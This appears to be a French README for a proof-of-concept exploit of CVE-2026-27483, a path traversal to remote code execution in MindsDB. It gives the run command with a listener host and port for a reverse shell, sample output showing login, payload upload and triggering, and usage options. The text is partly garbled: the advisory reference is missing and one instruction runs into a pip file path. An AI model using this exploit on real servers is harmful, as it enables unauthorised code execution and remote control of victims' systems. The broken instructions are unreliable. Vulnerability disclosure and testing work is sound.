
PoC de traversée de chemin vers RCE dans MindsDB
Ce script PoC est basé sur l'avis GitHub suivant :
/api/handlers/ pour trouver les gestionnaires disponibles, puis utiliser le nom de n'importe quel gestionnaire disponible mais non installé./venv/lib/python3.10/site-packages/pip/__init__.py.python cve-2026-27483.py -lh 192.168.0.100 -lp 4444 -u admin -p password
-------------------------------------
--- CVE-2026-27483 ------------------
--- MindsDB Path Traversal to RCE ---
-------------------------------------
[>] Found By : XlabAITeam
[>] PoC By : Lohitya Pushkar (thewhiteh4t)
[>] Target : http://127.0.0.1:47334
[>] LHOST : 192.168.0.100
[>] LPORT : 4444
[*] Checking status...
[*] MindsDB Version : 25.9.1.0
[+] Login successful!
[*] Uploading payload : qwvhotfj
[+] Payload uploaded!
[*] Triggering payload...
pip3 install requests packaging
python cve-2026-27483.py -h
usage: cve-2026-27483.py [-h] [-rh RH] [-rp RP] [-lh LH] [-lp LP] [-u U] [-p P]
options:
-h, --help show this help message and exit
-rh RH Target host
-rp RP Target port
-lh LH Listener host
-lp LP Listener port
-u U Username
-p P Password